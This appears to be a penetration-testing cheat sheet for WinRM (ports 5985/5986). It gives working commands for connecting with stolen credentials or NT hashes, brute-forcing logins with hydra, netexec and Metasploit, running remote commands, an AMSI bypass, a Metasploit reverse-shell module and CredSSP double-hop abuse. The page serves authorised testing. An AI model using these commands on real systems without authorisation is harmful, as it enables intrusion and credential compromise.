> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# 5985 & 5986 - WinRM (Windows Remote Management)

`Default Ports: 5985 (HTTP), 5986 (HTTPS)`

WinRM is Windows' native remote management protocol, built on PowerShell remoting rather than a graphical session like RDP. In enterprise environments it's frequently enabled right alongside RDP, or even in its place for admin-only hosts, and getting a WinRM shell means you land directly in PowerShell, with all the tooling that implies, rather than a bare cmd.exe.

> **Interactive Shell**
>
> A live PowerShell session on the target, via `evil-winrm` or `Enter-PSSession`. The default choice for hands-on post-exploitation.

> **Invoke-Command**
>
> Runs a script block remotely without an interactive session, useful for scripting the same action across many hosts at once.

> [!TIP]
>
> WinRM being open is itself a strong signal: it means the account you're testing is a local administrator or has been explicitly delegated remoting rights, by default only Administrators can use it.

***

## Connecting

**evil-winrm**

The standard tool for this service, built specifically for WinRM pentesting.

```bash theme={null}
evil-winrm -i TARGET -u USER -p 'PASSWORD'
evil-winrm -i TARGET -u USER -H NTHASH          # pass-the-hash
evil-winrm -i TARGET -u USER -p 'PASSWORD' -S     # over HTTPS (port 5986)
```

Loading custom PowerShell scripts from a local folder at connect time saves re-uploading them every session:

```bash theme={null}
evil-winrm -i TARGET -u USER -p 'PASSWORD' -s /path/to/scripts
```

**winrs**

Built into Windows, no extra tooling needed when working from a Windows attack box.

```cmd theme={null}
winrs -r:http://TARGET:5985 -u:USER -p:PASSWORD "whoami"
winrs -r:http://TARGET:5985 -u:USER -p:PASSWORD cmd      # interactive-ish shell
```

**PowerShell (Enter-PSSession)**

```powershell theme={null}
$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Authentication Negotiate -Credential $cred
```

For running a single command without a full interactive session:

```powershell theme={null}
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }
```

***

## Recon

```bash theme={null}
nmap -A TARGET -p5985,5986
```

A raw request to the `/wsman` endpoint confirms the service is really WinRM, worth checking in a browser or with curl before anything else:

```bash theme={null}
curl http://TARGET:5985/wsman
```

> [!TIP]
>
> Visiting `http://TARGET:5985/wsman` directly in a browser is often the fastest confirmation that WinRM is actually listening and worth pursuing, before running any tool against it.

***

## Brute Forcing

```bash theme={null}
netexec winrm TARGET -u USER -p PASSWORD_LIST
```

```bash theme={null}
hydra -L username.list -P password.list TARGET http-get /wsman -s 5985
```

```bash theme={null}
use auxiliary/scanner/winrm/winrm_login
set RHOSTS TARGET
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```

***

## Command Execution Without a Full Shell

Once you have valid credentials, both NetExec and `Invoke-Command` can run a single command without dropping into an interactive session, useful for quick checks across several hosts.

```bash theme={null}
crackmapexec winrm TARGET -u administrator -p PASSWORD -x "whoami"
```

```powershell theme={null}
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami; hostname }
```

***

## Useful evil-winrm Commands

Once connected, these built-in commands cover file transfer and common evasion without needing to upload separate tools.

| Command | Description |
| - | - |
| `upload LOCAL REMOTE` | Upload a file to the target |
| `download REMOTE LOCAL` | Download a file from the target |
| `menu` | List every built-in command available |
| `services` | List Windows services |
| `Bypass-4MSI` | Attempt an AMSI bypass for the session |
| `Invoke-Binary PATH` | Execute a local .NET binary entirely in memory on the target |

***

## Metasploit Modules

```bash theme={null}
use exploit/windows/winrm/winrm_script_exec     # get a reverse shell via WinRM
set RHOSTS TARGET
set USERNAME USER
set PASSWORD PASSWORD
run
```

***

## CredSSP and Multi-Hop Sessions

> [!NOTE]
>
> By default, credentials used in a WinRM session can't be reused to authenticate onward to a third host from inside that session, a protection against credential relay. CredSSP exists specifically to bypass that limitation when it's genuinely needed for legitimate multi-hop administration, and it's worth checking for since it directly enables double-hop attacks.

```powershell theme={null}
Enable-WSManCredSSP -Role Client -DelegateComputer TARGET
$cred = Get-Credential
Invoke-Command -ComputerName TARGET -Credential $cred -Authentication CredSSP -ScriptBlock {
  Invoke-Command -ComputerName SECOND_TARGET -ScriptBlock { hostname }
}
```

***

## Quick Reference Tools

> **[Hackviser: WinRM](https://hackviser.com/tactics/pentesting/services/winrm)**
>
> Quick-reference pentesting guide for the WinRM service.

> **[HackTricks: WinRM](https://hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html)**
>
> Deeper breakdown of WinRM enumeration and exploitation techniques.

> **[evil-winrm](https://github.com/Hackplayers/evil-winrm)**
>
> The standard WinRM shell tool used throughout this page.

> [!WARNING]
>
> A WinRM shell runs with the privileges of whichever account authenticated, usually a local admin. Treat access the same as any other admin-level compromise: confirm scope before credential dumping, persistence, or lateral movement.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.